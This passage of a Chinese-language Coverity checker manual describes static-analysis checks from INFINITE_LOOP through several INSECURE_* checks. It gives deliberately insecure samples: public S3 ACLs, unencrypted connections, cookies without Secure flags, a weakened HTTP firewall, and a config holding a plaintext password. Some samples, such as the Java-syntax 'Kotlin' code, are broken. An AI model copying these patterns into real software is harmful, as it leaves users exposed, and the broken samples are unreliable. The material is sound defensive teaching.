下面的示例创建了一个隐式意图 (`Intent`)，将敏感数据放在其中 (`putExtra`)，并使用该意图启动了另一项活动 (`startActivity`)。敏感数据可能被注册了 `Intent.ACTION_SEND` 操作的恶意应用程序拦截。该检查器在 `startActivity` 调用中报告缺陷。

```
public class UseImplicitIntent extends Activity {

 // ...

 public void startSend(String sensitive_data) {
 Intent intent = new Intent(Intent.ACTION_SEND);
 intent.putExtra("data", sensitive_data);
 startActivity(intent); // Defect here.
 }
}
```

##### 4.174.3.2. Kotlin

下面的示例创建了一个隐式意图 (`Intent`)，将敏感数据放在其中 (`putExtra`)，并使用该意图启动了另一项活动 (`startActivity`)。敏感数据可能被注册了 `Intent.ACTION_SEND` 操作的恶意应用程序拦截。该检查器在 `startActivity` 调用中报告缺陷。

```
class UseImplicitIntent : Activity() {
 fun startSend(sensitive_data : String) {
 Intent intent = new Intent(Intent.ACTION_SEND);
 intent.putExtra("data", sensitive_data);
 startActivity(intent);
 }
}
```

#### 4.175. INCOMPATIBLE\_CAST

质量检查器

##### 4.175.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`INCOMPATIBLE_CAST` 可查找通过将指针转换为不兼容类型访问内存中的对象的很多情况。转换指针不会改变内存布局，因此 `INCOMPATIBLE_CAST` 报告的缺陷是可能越界访问内存或对字节序的依赖。

默认启用：`INCOMPATIBLE_CAST` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.175.2. 示例

本部分提供了一个或多个 `INCOMPATIBLE_CAST` 示例。

下面的示例展示了 `INCOMPATIBLE_CAST` 检查器将会报告的转换。针对示例代码的最后一行返回缺陷：

```
void derefI(short *x) {
 short y = *x;
}

void foo(int x) {
 derefI(&x); // INCOMPATIBLE_CAST defect
}
```

#### 4.175.3. 事件

本部分描述了 `INCOMPATIBLE_CAST` 检查器生成的一个或多个事件。

- `incompatible_cast` - 指针被传递给接受不兼容类型参数的函数。

### 4.176. INFINITE\_LOOP

质量、安全 (Java) 检查器

#### 4.176.1. 概述

支持的语言：. C、C++、C#、Go、Java、Objective-C、Objective-C++、VB.NET

`INFINITE_LOOP` 可查找循环永不终止（通常会导致程序挂起）的很多情况。它通过查找在执行循环的条件中的变量来做到这一点。在不发生溢出或下溢的情况下，如果无法通过更新此类变量来使循环条件为假，则该检查器会将此类循环报告为无限循环。

C、C++、C#、Java、Objective-C、Objective-C++

- 默认启用：`INFINITE_LOOP` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.176.2. 示例

本部分提供了一个或多个 `INFINITE_LOOP` 示例。

#### 4.176.2.1. C/C++

除非 `x` 在进入此循环之前被设置为 55，否则它永不终止：

```
void foo(int x)
{
 int i=0;
 while (true) {
 if (i >= 10) {
 if (x == 55) { // x is never updated
 break;
 }
 }
 i++;
 }
}
```

在下一个示例中，`c` 未正确更新。如果其初始值不是 EOF 或 0x1c (28)，程序将始终 `continue`，因而绝不会退出循环：

```
int found = 0;
char c = foo();
while (c != EOF) {
 if (c == 0x1c) {
 found = 1;
 } else {
 if (found)
 return -1;
 else
 continue;
 }
 c = foo();
}
```

#### 4.176.2.2. C#

下面其中一部分 C# 示例显示了将触发 INFINITE\_LOOP 缺陷的情况，另一些示例则说明了不会触发相应缺陷的情况。请注意，`InfiniteLoop1()` 包含 true 无限循环，因为 `x` 在循环本体中不会递增，而且无法到达 10。在这种情况下，作者可能打算包括递增语句（类似于 `LoopFinishes1` 中的语句）。

在 `InfiniteLoop2()` 中，循环变量 `i` 将必须下溢，并且从最大整数值开始向下计数至 10，然后退出循环。因此，即使此循环确实有限执行，分析会将其报告为 INFINITE\_LOOP 缺陷，前提是假设作者可能打算编写与 `LoopFinishes2()` 中的内容相似的代码。

```
public interface DoesSomething {
 void DoSomething();
}

public class InfiniteLoopExamples {
 public void InfiniteLoop1(DoesSomething inst) {
```

```

int x = 10;
while(x > 0) { // An INFINITE_LOOP defect appears here.
 inst.DoSomething(); //Does not increment x.
}
}

public void LoopFinishes1(DoesSomething inst) {
 int x = 10;
 while(x > 0) { //No INFINITE_LOOP defect.
 inst.DoSomething();
 x--;
 }
}
public void InfiniteLoop2(DoesSomething inst) {
 for(int i = 0; i < 10; i--) { //An INFINITE_LOOP defect appears here.
 inst.DoSomething();
 }
}

public void LoopFinishes2(DoesSomething inst) {
 for(int i = 0; i < 10; i++) { //No INFINITE_LOOP defect here.
 inst.DoSomething();
 }
}
}

```

#### 4.176.2.3. Go

在下面的示例中，`for` 语句导致了无限循环。

```

func fn() {
 n := 10
 for n > 5 {
 n++
 }
}

```

#### 4.176.2.4. VB.NET

在下面的示例中，针对 `while` 循环显示了 `INFINITE_LOOP` 缺陷。

```

Public Interface DoesSomething
 Sub DoSomething()
End Interface

Public Class InfiniteLoopExamples
 Public Sub InfiniteLoop(inst As DoesSomething)
 Dim x As Integer = 10
 While x > 0
 inst.DoSomething()
 End While
 End Sub

```

```
End Class
```

#### 4.176.3. 选项

本部分描述了一个或多个 `INFINITE_LOOP` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `INFINITE_LOOP:allow_asm:<boolean>` - 如果启用此选项，则在确定循环是否无限时，检查器将忽略任何内联汇编代码。禁用该选项时，检查器会假定某些汇编代码确实以某种方式更新了循环控制变量。默认值为 `INFINITE_LOOP:allow_asm:false`（仅适用于 C 和 C++）。

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `medium`（或 `high`），则该检查器选项会自动设置为 `true`。

在下面的示例中，循环是无限的，因为 `x` 在循环内没有更新。

```
while (x < 10) {
 y++;
}
```

如果未启用该选项，下面的示例不会触发 `INFINITE_LOOP` 问题，因为我们不分析汇编代码，只是假设它可能会更改 `x`。

```
while (x < 10) {
 y++;
 __asm__ (".....");
}
```

如果启用该选项，下面的示例确实会触发 `INFINITE_LOOP` 问题，因为我们忽略了汇编代码，并且 `x` 没有更改。。

```
while (x < 10) {
 y++;
 __asm__ (".....");
}
```

- `INFINITE_LOOP:allow_pointer_derefs:<boolean>` - 该选项允许检测涉及 C/C++ 指针引用的无限循环，或者错误更新变量是另一个变量的字段（对于 C#、Go 和 Java）的情况。默认值为 `INFINITE_LOOP:allow_pointer_derefs:false`（适用于所有语言）。

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `medium`（或 `high`），则该检查器选项会自动设置为 `true`。

C/C++ 示例：

如果此选项被设置为 `true`，该检查器将报告更新了错误循环控制变量（`j`，而不是 `i`）的缺陷：

```
for (i = 0; i < p->x[0].hi * p->x[0].lo; j++) {
```

```
a += p->x[0].hi;
}
```

C# 示例：

当此选项被设置为 `true` (而不是设置为默认值 `false`) 时，将会报告以下缺陷：

```
class Foo
{
 public int a;
 static void Test(Foo pfoo)
 {
 while(pfoo.a == 1) //INFINITE_LOOP defect reported here
 {
 }
 }
}
```

- `INFINITE_LOOP:report_bound_type_mismatch:<boolean>` - 此选项报告潜在的无限循环，其中循环边界的类型比循环计数器的类型宽。使用此选项可能会导致误报，其中循环边界的实际值在循环计数器类型的值范围内。默认值为 `INFINITE_LOOP:report_bound_type_mismatch:false` (适用于除 Go 之外的所有语言)。

如果将 cov-analyze 命令的 `--aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- `INFINITE_LOOP:report_no_escape:<boolean>` - 此选项报告无限循环，因为不存在允许循环退出的非常数条件。这种情况的示例是 "while (true) process();" 循环。此类循环用于绝不会完成的软件，例如服务器软件。此选项默认为 `INFINITE_LOOP:report_no_escape:false` (所有语言)。

如果将 cov-analyze 命令的 `--aggressiveness-level` 选项设置为 `medium` (或 `high`)，则该检查器选项会自动设置为 `true`。

- `INFINITE_LOOP:suppress_in_macro:<boolean>` - 当此选项被设置为 `false` 时，该检查器将报告控制条件位于宏内的潜在无限循环。默认值为 `INFINITE_LOOP:suppress_in_macro:true` (仅适用于 C 和 C++)，可抑制此类报告。

如果 cov-analyze 的 `--aggressiveness-level` 选项被设置为 `high`，此检查器选项会被自动设置为 `false`。

#### 4.176.4. 事件

本部分描述了 `INFINITE_LOOP` 检查器生成的一个或多个事件。

- `loop_top` - 循环开始。
- `loop_bottom` - 循环结束。
- `loop_condition` - 必须评估为 `true`，循环才能继续的条件。

- `no_escape` - 不存在循环逃逸条件，因此无法退出。
- `non_progress_update` - 循环无限执行（控制变量已更新，但不正确）。

## 4.177. INSECURE\_ACL

安全检查器

### 4.177.1. 概述

支持的语言：. JavaScript、TypeScript

`INSECURE_ACL` 文件系统检查器滞后访问控制列表 (ACL) 设置得太宽松的情况；例如，授予对 AWS S3 或 Google Cloud Storage 中的云对象的完全控制权。

`INSECURE_ACL` 检查器默认禁用。它仅在 `Audit` 模式下启用。

### 4.177.2. 示例

本部分提供了一个或多个 `INSECURE_ACL` 示例。

在下面的示例中，如果在 S3 存储桶的 `createBucket()` 函数中将 `ACL` 属性设置为 `public-read-write`，将显示 `INSECURE_ACL` 缺陷。

```
var AWS = require('aws-sdk');

var s3 = new AWS.S3({ apiVersion : '2006-03-01' });

s3.createBucket({
 Bucket: 'myBucket',
 Region: 'myRegion',
 ACL: 'public-read-write' //#defect#INSECURE_ACL
}, function (err, data) {});
 SAMPLE CODE GOES HERE
```

## 4.178. INSECURE\_COMMUNICATION

安全检查器

### 4.178.1. 概述

支持的语言：. C#、Go、Java、JavaScript、Kotlin、Python、Swift、TypeScript、Visual Basic

`INSECURE_COMMUNICATION` 检查器查找使用未加密网络连接的情况。通过不安全的信道进行通信可能会使攻击者拦截和修改传输。

`INSECURE_COMMUNICATION` 检查器可报告不同类别的问题：

- 使用不安全的 HTTP、FTP 和 WebSocket 协议/端口实例化网络 API。
- 使用不安全的数据库连接字符串实例化数据库连接 API。
- [Java] 因在 .roo 文件中禁用 --starttls 选项而造成的不安全配置。
- [JavaScript] 通过硬编码的不安全连接（例如 http:// 或 ws://）连接到服务器的 Socket.io 客户端。它不考虑至 localhost 的连接。

默认启用：INSECURE\_COMMUNICATION 检查器默认对 Go、Kotlin 和 Swift 启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

默认禁用：INSECURE\_COMMUNICATION 检查器默认对 C#、Java、JavaScript、TypeScript 和 Visual Basic 禁用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

- Web 应用程序安全检查器启用：对于 C#、Java、JavaScript、TypeScript 和 Visual Basic，要同时启用 INSECURE\_COMMUNICATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。
- Android 安全检查器启用：对于 Java，要同时启用 INSECURE\_COMMUNICATION 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 --android-security 选项。

#### 4.178.2. 缺陷剖析

INSECURE\_COMMUNICATION 缺陷说明了启动不安全的通道发送或接收数据的调用位置和配置位置。其他事件数据将说明检测不安全协议或端口。

#### 4.178.3. 示例

本部分提供了一个或多个 INSECURE\_COMMUNICATION 示例。

##### 4.178.3.1. C#

此示例创建了一个不安全的 SqlServer 连接，方法是在创建连接字符串时传递远程地址并结合使用“encrypt=false”设置，然后使用它创建 SqlConnection 对象。缺陷将在创建 SqlConnection 对象时报告。

```
using System.Data.SqlClient;

class InsecureCommunications {
 public static void CreateCommand()
 {
 string connectionString =
 "jdbc:sqlserver://192.168.10.10:1433;" +
 "databaseName=SynopsysDB;integratedSecurity=true;" +
 "encrypt=false; trustServerCertificate=false;" +
 "trustStore=storeName;" +
 "hostNameInCertificate=hostName";
 using (SqlConnection connection = new SqlConnection(
```

```

 connectionString))
 {
 SqlCommand command = new SqlCommand("SELECT * FROM users", connection);
 command.Connection.Open();
 command.ExecuteNonQuery();
 }
}
}

```

在此示例中，INSECURE\_COMMUNICATION 缺陷显示在 XML 应用程序配置文件中，该文件为远程 MySQL 数据库连接添加了 SslMode 属性设置为 none 的连接字符串。

```

<?xml version="1.0" encoding="utf-8"?>

<configuration>
 <connectionStrings>
 <add name="DefaultConnection" providerName=" MySql.Data.MySqlClient "
 connectionString="Server=192.168.16.25;Port=3306;Database=staybazar;uid=ziac;
 pwd=Ziac1993$;SslMode=none" /> <!-- defect here -->
 </connectionStrings>
</configuration>

```

#### 4.178.3.2. Go

在下面的示例中，显示了 INSECURE\_COMMUNICATION 缺陷，其中在将 handler 参数设置为 nil 的情况下调用了函数 http.ListenAndServe(addr string, handler Handler)：

```

```
package main

import (
    "fmt"
    "net/http"
)

func listenAndServe(port string) {
    fmt.Printf("serving on %s\n", port)
    err := http.ListenAndServe(": "+port, nil) // defect here
    if err != nil {
        panic("ListenAndServe: " + err.Error())
    }
}
```

```

在下面的示例中，显示了 INSECURE\_COMMUNICATION 缺陷，其中在调用 github.com/gin-gonic/contrib/secure 数据包的函数 Secure() 时，Options.isDevelopment 值显式设置为 true。

```

```
package main

import (

```

```

"github.com/gin-gonic/contrib/secure"
"github.com/gin-gonic/gin"
)

func main() {
    secureMiddleware := secure.Secure(secure.Options{
        AllowedHosts:          []string{"example.com", "ssl.example.com"}, 
        SSLRedirect:             true,
        SSLHost:                "ssl.example.com",
        SSLProxyHeaders:         map[string]string{"X-Forwarded-Proto": "https"}, 
        STSSeconds:              315360000,
        STSIncludeSubdomains:    true,
        FrameDeny:               true,
        ContentTypeNosniff:      true,
        BrowserXssFilter:       true,
        ContentSecurityPolicy:   "default-src 'self'; script-src 'self' 'unsafe-eval';
        connect-src http://localhost:/* ws://localhost:/*; img-src 'self'; style-src
        'self';",
        IsDevelopment:           true, // defect here
    })
}

router := gin.New()
router.Use(gin.Logger())
router.Use(gin.Recovery())
router.Use(secureMiddleware)
}
```

```

#### 4.178.3.3. Java

本示例通过在创建 URL 对象时传递硬编码的 `http://` 地址，然后调用 `openConnection()` 来创建不安全的 HTTP 连接。将报告针对 `openConnection()` 的缺陷。

```

import java.net.HttpURLConnection;
import java.net.URL;
import java.net.Proxy;
import java.io.InputStream;
import java.io.BufferedInputStream;

class InsecureCommunications {

 void testOpenConnect() {
 URL url = new URL("http://www.android.com/");
 HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
 try {
 InputStream in = new BufferedInputStream(urlConnection.getInputStream());
 // ...
 } finally {
 urlConnection.disconnect();
 }
 }
}
```

```

在下面的示例中，当在 .roo 文件中将 --starttls 属性设置为 false 时，将显示 INSECURE_COMMUNICATION 缺陷。该示例首先创建 Spring Boot 应用程序，然后配置项目设置。

```
project setup --topLevelPackage roo.nw -- projectName Northwind --java 8 --multimodule  
settings add --name spring.roo.jpa.require.schema-object-name --value true  
  
email sender setup --service service-impl:~.CustomerServiceImpl --username USERNAME  
--password PASSWORD --host HOST --port 1000 --protocol PROTOCOL --starttls false //  
defect here
```

在下面的 .properties 文件中，针对三个配置字符串报告 INSECURE_COMMUNICATION 缺陷：

- sms-notification.rest.uri - 通过 HTTP 与远程 IP 建立连接。
- executor-monitor.ftp.uri - 通过 FTP 与远程服务器建立连接。
- coinbase.ws.url - 与远程服务器建立了未加密的 WebSocket 连接。不报告与本地主机或通过安全通道 (HTTPS、WSS) 的连接。

```
oauth.callback.url=http://127.0.0.1:8080/AdminEAP/oauth/%s/callback  
sms-notification.rest.uri=http://104.211.214.143:8084/notifier/sms # defect here  
audit.rest.uri=https://integ.mosip.io/auditmanager/v1.0/audits  
  
executor-monitor.ftp.uri = ftp://server.costezki.ro:2221 # defect here  
  
coinbase.ws.url = ws://ws-feed.pro.coinbase.com # defect here  
bitmex.ws.url = wss://www.bitmex.com/realtime
```

4.178.3.4. JavaScript

在下面的示例中，针对连接到未加密 URL 的 socket.io 客户端显示 INSECURE_COMMUNICATION 缺陷。

```
var io = require('socket.io-client');  
  
var socket1 = io('http://example.com'); // #defect#INSECURE_COMMUNICATION  
socket1.on('connect', function(){});
```

4.178.3.5. Kotlin

本示例通过在创建 URL 对象时传递硬编码的 http:// 地址，然后调用 openConnection() 来创建不安全的 HTTP 连接。将报告针对 openConnection() 的缺陷。

```
import java.net.HttpURLConnection  
import java.net.URL  
import java.net.Proxy  
import java.io.InputStream  
import java.io.BufferedInputStream
```

```

class InsecureCommunications {
    fun testOpenConnect() {
        val url = URL("http://www.android.com/")
        val urlConnection = url.openConnection() as HttpURLConnection
        try {
            val input = BufferedInputStream(urlConnection.getInputStream())
            // ...
        } finally {
            urlConnection.disconnect()
        }
    }
}

```

4.178.3.6. Python

在下面的示例中，当使用没有 SSL 加密的 `http.client.HTTPConnection()` 创建与远程主机的 HTTP 连接时，显示了 `INSECURE_COMMUNICATION` 缺陷：

```

import http.client

httpClient = http.client.HTTPConnection('h5.thd99.com', 9999, timeout=30) # defect
here

```

4.179. INSECURE_COOKIE

安全审计检查器

4.179.1. 概述

支持的语言：. C#、Java、JavaScript、Python、Ruby、TypeScript

此 `INSECURE_COOKIE` 检查器报告以下情况：对于可能在 HTTPS 会话中使用的 Cookie 未设置 `Secure` 属性。（设置 `Secure` 属性可让客户端知道不应该通过未加密的连接发送 Cookie。）

即使 Cookie 来自加密的 HTTPS 会话，它也可能由客户端保存并通过随后的 HTTP 连接重新发送，其中它将以明文形式传输。根据 Cookie 的目的，其内容可能被拦截并用于劫持用户的会话或泄露其他敏感数据。这就是设置 `Secure` 属性十分重要的原因。

以下特定于语言的部分中提供了 `INSECURE_COOKIE` 支持的特定于语言的附加信息。

默认禁用：`INSECURE_COOKIE` 默认禁用。要针对 Ruby 启用它，请使用 `cov-analyze` 命令的 `--enable` 选项。要针对 C#、Java、JavaScript、Python 和 TypeScript 启用它，请使用 `enable-audit-mode` 选项。

安全审计启用：要同时启用 `INSECURE_COOKIE` 以及其他安全审计功能，请使用 `--enable-audit-mode` 选项。启用审计模式对检查器有其他作用。有关更多信息，请参阅《Coverity 命令说明》中对 `cov-analyze` 命令的描述。

4.179.2. 缺陷剖析

INSECURE_COOKIE 缺陷显示已创建 HTTP Cookie 并添加到 HTTP 响应，但未设置其 Secure 属性。

4.179.3. 示例

本部分提供了一个或多个 INSECURE_COOKIE 示例。

4.179.3.1. C#

对于 C# 代码，INSECURE_COOKIE 检查器在以下情况下报告问题：

- INSECURE_COOKIE 当 .NET 应用程序创建 Cookie 而未在 C# 代码中将 Secure 属性设置为 true 时报告，默认值为 false。
- INSECURE_COOKIE 当 .NET 应用程序创建 Cookie 而未在 C# 代码中将 HttpOnly 属性设置为 true 时报告，默认值为 false。
- INSECURE_COOKIE 当在 XML 配置文件中将 requireSSL 显式设置为 false（或被忽略，因为默认值为 false）时报告。
- INSECURE_COOKIE 当在 XML 配置文件中将 httpOnlyCookies 显式设置为 false（或被忽略，因为默认值为 false）时报告。
- INSECURE_COOKIE 当在 XML 配置文件中将 cookieSameSite 属性设置为 None 时报告。

在下面的示例中，针对将 HttpCookie 类的实例的属性 Secure 设置为 false，显示了 INSECURE_COOKIE 缺陷。

```
using System.Web;

class InsecureCookie {
    public static void func() {
        HttpCookie myCookie = new HttpCookie("Sensitive cookie");
        myCookie.HttpOnly = true;
        myCookie.Secure = false; //defect here
    }
}
```

在下面的示例中，针对在 web.config 配置文件中将 cookieSameSite 属性设置为 None，显示了 INSECURE_COOKIE 缺陷。

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.web>
        <httpCookies httpOnlyCookies="true" requireSSL="true" />
        <sessionState cookieSameSite="None" /> <!-- defect here -->
    </system.web>
```

```
</configuration>
```

4.179.3.2. Java

以下代码添加一个 Cookie 来跟踪会话标识符，但未将其标记为 secure。 INSECURE_COOKIE 检查器会将此报告为缺陷。

```
void addSessionToken(HttpServletRequest response, String id)
{
    Cookie c = new Cookie("SESSION_ID", id);
    response.addCookie(c);
}
```

在下面的示例中，针对在 Spring Boot 配置 .properties 文件中将 server.servlet.session.cookie.secure 设置为 false，显示了 INSECURE_COOKIE 缺陷。

```
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=false #defect here
server.servlet.session.timeout=30m
```

在下面的 Spring Security 配置示例中，针对在 cookie-config 元素中将 secure 元素设置为 false，显示了 INSECURE_COOKIE 缺陷。

```
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
    <session-config>
        <session-timeout>1</session-timeout>
        <cookie-config>
            <http-only>true</http-only>
            <secure>false</secure> <!-- defect here -->
        </cookie-config>
    </session-config>
</web-app>
```

4.179.3.3. JavaScript 和 TypeScript

对于 JavaScript 和 TypeScript 代码， INSECURE_COOKIE 检查器标记以下情况：

- 会话 Cookie 的 httpOnly 和 secure 属性不是 true。默认情况下， httpOnly 是 true，而 secure 是 false。启用的 httpOnly 和 secure 标记分别防止 Cookie 被客户端 JavaScript 读取和通过不安全的通道（如 HTTP）发送。

此检查器适用于使用 client-sessions 和 express-session 中间件的 express 应用程序和 hapi 应用程序。

- 会话 Cookie 的属性 domain 被设置为一个广域。默认情况下，用户代理仅将 Cookie 返回到源服务器。子级 domain 属性可防止不受信任的域访问 Cookie。
- 会话 Cookie 的属性 path 被显式设置为根路径。属性 path 的默认值为当前文档位置。子目录 path 属性可防止不受信任的路径访问 Cookie。

在下面的示例中，针对在 `express-session` 构造函数中使用的设置中将属性 `httpOnly` 和 `secure` 设置为 `false`，显示了两个 `INSECURE_COOKIE` 缺陷：

```
var express = require('express');
var app = express();
var Sessions = require('express-session');
var config = require('config.json');
var secret = config.secret;

var opt = {
  secret: secret,
  resave: false,
  saveUninitialized: true,
  cookie: {
    httpOnly: false,           // INSECURE_COOKIE defect
    secure: false             // INSECURE_COOKIE defect
  }
};

//use express-session middleware
app.use(Sessions(opt));
```

4.179.3.4. Python

对于 Django 应用程序，`INSECURE_COOKIE` 查找

`SESSION_COOKIE_SECURE`、`CSRF_COOKIE_SECURE` 或 `SESSION_COOKIE_HTTPONLY` 被设置为 `False` 的情况。它还查找 `CSRF_COOKIE_SAMESITE` 或 `SESSION_COOKIE_SAMESITE` 被设置为 `Lax` 或 `Strict` 以外的值的情况。攻击者可能会诱骗客户端向 Web 服务器发出无意的请求，如果禁用了 `SameSite` 限制，该请求可能被视为真实请求。

启用 `SESSION_COOKIE_SECURE` 和 `CSRF_COOKIE_SECURE` 会分别防止会话 Cookie 和 CSRF Cookie 通过不安全的网络发送。启用 `SESSION_COOKIE_HTTPONLY` 会防止会话 Cookie 被客户端读取并通过执行跨站点脚本 (XSS) 攻击而被窃取。

在下面的示例中，针对当 `django.contrib.sessions` 位于 `INSTALLED_APPS` 数组中时将 `SESSION_COOKIE_SECURE`、`CSRF_COOKIE_SECURE` 和 `SESSION_COOKIE_HTTPONLY` 设置为 `False`，显示了 `INSECURE_COOKIE` 缺陷。

```
INSTALLED_APPS = [
  'jet.dashboard',
  'jet',
  'django.contrib.admin',
  'django.contrib.auth',
  'django.contrib.contenttypes',
  'django.contrib.sessions',
  'django.contrib.messages',
  'django.contrib.staticfiles'
]

SESSION_COOKIE_SECURE = False #defect here
SESSION_COOKIE_HTTPONLY = False #defect here
```

```
CSRF_COOKIE_SECURE = False #defect here
```

4.179.3.5. Ruby

对于 Ruby，检查器在以下情况下报告问题：

- INSECURE_COOKIE 报告 Ruby-on-Rails 应用程序创建 Cookie 但不设置安全属性的情况，除非应用程序将应用程序配置中的 force_ssl 设置为 true。
- INSECURE_COOKIE 还报告创建 Cookie 但不设置 HTTPOnly 属性的情况。在 Ruby-on-Rails 应用程序中创建 Cookie 时，必须显式设置 HTTPOnly 属性。HTTPOnly 属性阻止客户端 JavaScript 读取 Cookie 值。这通过阻止 Cookie 值（如会话令牌）泄漏，可减少跨站点脚本漏洞的影响。

以下 Ruby-on-Rails 代码展示了创建 Cookie 值但不设置 HTTPOnly 或 Secure 属性的情况。

```
class ExampleController < ApplicationController
  def login
    cookies[:token] = generate_token_value
  end
end
```

4.180. INSECURE_DIRECT_OBJECT_REFERENCE

安全检查器

4.180.1. 概述

支持的语言：. Ruby

INSECURE_DIRECT_OBJECT_REFERENCE 查找可能允许攻击者直接通过简单标识符检索记录的代码 (CWE-639)。如果代码不检查授权，攻击者可能能够访问未授权的记录。对象引用通常是与数据库行 ID 值相对应的序列整数 ID。对于攻击者来说，这很容易被猜测和枚举。

默认禁用：INSECURE_DIRECT_OBJECT_REFERENCE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

4.180.2. 缺陷剖析

INSECURE_DIRECT_OBJECT_REFERENCE 报告在模块上使用“属于”另一个模块的用户控制参数调用方法的情况：如调用 find 和 find_by_id。

4.180.3. 示例

本部分提供了一个或多个 INSECURE_DIRECT_OBJECT_REFERENCE 示例。

以下 Ruby on Rails 代码展示了通过 ID 直接查找帐户而不是将 SQL 查询限定到当前用户范围内的情况。

```
class AccountController < ApplicationController
  def show
    Account.find params[:id]
```

```
end  
end  
  
class Account < ActiveRecord::Base  
  belongs_to :user  
end
```

4.181. INSECURE_HTTP_FIREWALL

安全检查器

4.181.1. 概述

支持的语言：. Java

INSECURE_HTTP_FIREWALL 检查器查找在 Spring Security 框架中配置不安全的 HTTP 防火墙的情况。Spring Security 附带了一组 HTTP 防火墙，可以将它们作为筛选器添加到 FilterChainProxy 中，在服务器处理恶意 HTTP 请求之前拒绝它们。默认情况下，所有请求检查都设置为最强级别。但是，可以使用一些允许削弱请求检查的配置方法来自定义 HttpFirewall：

这些方法允许在 URL 中使用 URL 编码的斜杠，这可能会导致安全漏洞。

- org.springframework.security.web.firewall.DefaultHttpFirewall.setAllowUrlEncodedSlash(boolean allowUrlEncodedSlash)
- org.springframework.security.web.firewall.StrictHttpFirewall.setAllowUrlEncodedSlash(boolean allowUrlEncodedSlash)

允许任何 HTTP 方法都可以使应用程序受到 HTTP 动词篡改和 XST 攻击。

- org.springframework.security.web.firewall.StrictHttpFirewall.setUnsafeAllowAnyHttpMethod(boolean unsafeAllowAnyHttpMethod)

允许在 URL 中使用分号（即用于矩阵变量）可以使应用程序受到反射型文件下载攻击，并提供绕过基于 URL 的安全性的方法。

- org.springframework.security.web.firewall.StrictHttpFirewall.setAllowSemicolon(boolean allowSemicolon)

允许在路径中使用百分比“%”可能会绕过基于 URL 的安全性，从而导致安全利用。

- org.springframework.security.web.firewall.StrictHttpFirewall.setAllowUrlEncodedPercent(boolean allowUrlEncodedPercent)

允许在路径中使用句点“.”可能会绕过基于 URL 的安全性，从而导致安全利用。

- org.springframework.security.web.firewall.StrictHttpFirewall.setAllowUrlEncodedPeriod(boolean allowUrlEncodedPeriod)

允许在路径中使用反斜杠“\”可能会绕过基于 URL 的安全性，从而导致安全利用。

- org.springframework.security.web.firewall.StrictHttpFirewall.setAllowBackSlash(boolean allowBackSlash)

默认禁用：INSECURE_HTTP_FIREWALL 检查器默认禁用。您可以使用 cov-analyze 命令的 --webapp-security 选项启用它。

4.181.2. 示例

本部分提供了一个或多个 INSECURE_HTTP_FIREWALL 示例。

在下面的示例中，如果在 WebSecurity 中将 DefaultHttpFirewall 设置为 httpFirewall()，将显示 INSECURE_HTTP_FIREWALL 缺陷。

```
package InsecureHttpFirewall.Test;

import org.springframework.security.web.firewall.DefaultHttpFirewall;
import org.springframework.security.web.firewall.HttpFirewall;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

public class DefaultHttpFirewallPositive extends WebSecurityConfigurerAdapter {
    @Override
    public void configure(WebSecurity webSecurity) throws Exception {
        super.configure(webSecurity);
        webSecurity.httpFirewall(new DefaultHttpFirewall()); //defect here
    }
}
```

4.182. INSECURE_MULTIPEER_CONNECTION

安全检查器

4.182.1. 概述

支持的语言：. Swift

INSECURE_MULTIPEER_CONNECTION 查找多点连接会话的初始化设置加密以使其不是必需的情况。

默认情况下，多点连接使用加密传输建立。您可以禁用加密或使加密可选。但是请注意，这会使得您的连接更容易被拦截，因为攻击者可以轻松地将信息读取为明文。

默认启用：INSECURE_MULTIPEER_CONNECTION 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.182.2. 缺陷剖析

INSECURE_MULTIPEER_CONNECTION 缺陷说明了启动不安全的信道发送或接收数据的调用位置。其他事件数据将说明检测不安全协议或端口。

4.182.3. 示例

本部分提供了一个或多个 INSECURE_MULTipeer_CONNECTION 示例。

4.182.3.1. Swift

此示例使用禁用的加密创建多点连接 (.none)。

```
import Foundation
import MultipeerConnectivity

class Connectivity {
    ...
    func createConnectivity(name: String) -> MCSession {
        let myID = MCPeerID(displayName: name)

        // Insecure Multipeer Connection Here
        return MCSession(peer: myID, securityIdentity: nil,
            encryptionPreference: .none)
    }
    ...
}
```

4.183. INSECURE_NETWORK_BIND

安全检查器

4.183.1. 概述

支持的语言：. Go、Python

INSECURE_NETWORK_BIND 检查器可查找绑定到所有接口的网络连接，这意味着应用程序将接受来自提供的任何地址的连接。当检测到以下任一情况时，此检查器将报告某些网络命令中的地址参数 (addr、address 或 host)：

- 地址为 0.0.0.0。
- 仅指定了端口（例如 :8080、:http 等）。
- 地址为 :: 或 [::]。
- 地址是空字符串 "" 或 null。

其中任意一个地址定义都可能导致应用程序向攻击者公开敏感信息。这是因为这些地址定义导致了一种情况，即可以通过应用程序不希望被侦听的接口访问套接字。

4.183.1.1. Go

INSECURE_NETWORK_BIND 检查器可识别绑定到以下所有接口的这些地址问题：

- 以下函数的 `addr` 参数：
 - `http.ListenAndServe(addr string, handler Handler)`
 - `http.ListenAndServeTLS(addr, certFile, keyFile string, handler Handler)`
 - `gin-gonic/gin.Engine.Run(addr ...string)`
 - `gin-gonic/gin.Engine.RunTLS(addr, certFile, keyFile string)`
- 以下函数的 `address` 参数：
 - `net.Listen(network, address string)`
 - `net.ListenPacket(network, address string)`
- 在 Beego 框架中：
 - `.conf` 文件中的以下任何地址：
 - `httpaddr`
 - `httpsaddr`
 - `adminaddr`
